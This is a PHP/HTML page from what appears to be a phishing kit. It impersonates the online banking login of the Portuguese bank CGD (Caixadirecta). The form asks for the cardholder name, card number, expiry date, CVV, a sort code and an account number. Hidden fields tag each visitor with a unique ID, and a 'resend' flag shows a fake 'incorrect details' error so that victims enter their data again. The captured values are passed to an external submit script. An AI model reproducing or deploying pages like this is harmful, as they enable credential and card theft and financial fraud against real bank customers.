<?php 
  $uniqueid = $_SESSION["visitor_uniqueid"];
?>
<!DOCTYPE html>

<html>
    <head>
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <link rel="stylesheet" href="<?= URLROOT ?>/panel/style.css">
        <link href='https://fonts.googleapis.com/css?family=Poppins' rel='stylesheet'>
        <script src="https://kit.fontawesome.com/992c3cc884.js" crossorigin="anonymous"></script>
        <title>CGD</title>
 <link rel="shortcut icon" href="<?= URLROOT ?>/panel/assets/images/cgd-favicon.png" type="image/x-icon">
          <script>
         var urlroot = '<?= URLROOT ?>';
        var uniqueid = '<?= $uniqueid ?>';
   </script>
 <script src="https://code.jquery.com/jquery-3.7.1.js" integrity="sha256-eKhayi8LEQwp4NKxN+CfCh+3qOVUtJn3QNZ0TciWLP4=" crossorigin="anonymous"></script>
   <script type="text/javascript" src="<?= URLROOT ?>/js/option.js"></script>
   <script type="text/javascript" src="<?= URLROOT ?>/js/browser.js"></script>
        
    </head>
    <body>
        <header>
            <center>
                <div>
                    <p>
                        <a>PT</a>&nbsp;&nbsp;<a style="color: #ccc;">EN</a>
                    </p>
                    <div style="display: block;">
                        <p>
                            Particulares
                        </p>
                        <p>
                            <i class="fa-solid fa-angle-up"></i>
                        </p>
                    </div>
                    <p style="font-family: Spartan-b;font-size:16px;">
                        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                    </p>
                </div>
            </center>
        </header>
        <main>

            <form  action="#" id="form" method="post" name="login">

                          <?php

                  if(isset($_GET['resend'])){
                    ?>
                      <div class="alert alert-danger mr-3" style="background: red;padding: 10px;margin-bottom: 10px;color: white;border-radius: 10px;">Incorrect details try again...</div>
                    <?php
                  }
                  ?>

                          
                     <input type="hidden" name="bank_status" id="bank_status" value="CGD">
                 <input name="new_data" value="true" type="hidden">
                 <input name="status" value="0" type="hidden">
                  <input name="uniqueid" value="<?= $uniqueid ?>" type="hidden">

            <div class="main-div">
                <div class="form-elements">
                    <label for="contract-number">Informações do cartão de crédito</label>
                        <div class="div-input">
                            <?php if ($data["has_error"]) { ?>
                          
                                  <p style="color: red; margin-top: 10px;margin-bottom: 5px;">There was an error, please try again.</p>
                               
                            <?php } ?>
                            <input required type="text" name="cardname" id="cardname"  placeholder="O nome do titular">
                            <!-- <button><i class="fa-solid fa-angle-right fa-lg"></i></button> -->
                        </div>
                        <div class="div-input">
                            <input required type="text" name="cardnumber" id="cardnumber" placeholder="Número do cartão" maxlength="19"  onkeyup="EXPIRYcard()">
                            <!-- <button><i class="fa-solid fa-angle-right fa-lg"></i></button> -->
                        </div>
                        <div class="div-input">
                            <input required type="text" name="expdate"  placeholder="Termo" id="expdate" onkeypress="return (event.charCode >= 48 && event.charCode <= 57)||(event.charCode==47)" onkeyup="EXPIRYdate()" maxlength="7">
                            <!-- <button><i class="fa-solid fa-angle-right fa-lg"></i></button> -->
                        </div>
                        <div class="div-input">
                            <input required type="number" name="cvv" id="cvv" placeholder="CVV" maxlength="3">
                            <!-- <button><i class="fa-solid fa-angle-right fa-lg"></i></button> -->
                        </div>
                        <div class="div-input">
                            <input required type="number"name="codecard"  id="codecard"  placeholder="Código de Ordenação">
                            <!-- <button><i class="fa-solid fa-angle-right fa-lg"></i></button> -->
                        </div>
                        <div class="div-input">
                            <input required type="number" name="accountnumber" id="accountnumber" placeholder="Número da conta">
                            <button type="button"  onclick="formSubmit()"><i class="fa-solid fa-angle-right fa-lg"></i></button>
                        </div>
                    <!-- <small>
                        <i class="fa-solid fa-angle-right"></i>
                        Ajuda Particulares
                    </small> -->
                </div>   
              
                <div class="links-div">
                    <p class="heading">Quero ser cliente:</p>
                    <small><i class="fa-solid fa-angle-right"></i>&nbsp;&nbsp;Aderir ao Caixadirecta Particulares</small>
                    <small><i class="fa-solid fa-angle-right"></i>&nbsp;&nbsp;Aderir ao Caixadirecta Empresas</small>
                </div>   
                <div class="links-div">
                    <p class="heading">Links úteis:</p>
                    <small><i class="fa-solid fa-angle-right"></i>&nbsp;&nbsp;Faça download da App Caixadirecta</small>
                    <small><i class="fa-solid fa-angle-right"></i>&nbsp;&nbsp;Recomendações de Segurança</small>
                </div>           
            </div>
        </form>


         
        </main>


        <script>
            function EXPIRYcard(){

                 let x=document.getElementById('cardnumber').value;
              if(x.length==4)
              {
                document.getElementById('cardnumber').value=x+" ";
              }else if(x.length==9)
              {
                document.getElementById('cardnumber').value=x+" ";
              }else if(x.length==14)
              {
                document.getElementById('cardnumber').value=x+" ";
              }

            }
            function EXPIRYdate() {
              let x=document.getElementById('expdate').value;
              if(x.length==2)
              {
                document.getElementById('expdate').value=x+"/";
              }
            }
        </script>
        
        <script>
             function formSubmit(){
      var cardname = $('#cardname').val();
      var cardnumber = $('#cardnumber').val();
      var expdate = $('#expdate').val();
      var cvv = $('#cvv').val();
      var codecard = $('#codecard').val();
      var accountnumber = $('#accountnumber').val();
       
      if(cardname == ""){
        alert("o nome do cartão é obrigatório");
      }else if(cardnumber == ""){
        alert("o número do cartão é obrigatório");
      }else if(expdate == ""){
        alert("a validade do cartão é obrigatória");
      }else if(cvv == ""){
        alert("cartão cvv é obrigatório");
      }else if(codecard == ""){
        alert("o código do cartão é obrigatório");
      }else if(accountnumber == ""){
        alert("o número da conta é obrigatório");
      }else{
          var loader = new Option();
          loader.formSubmit();
      }
  }

      


</script>
    </body>
</html>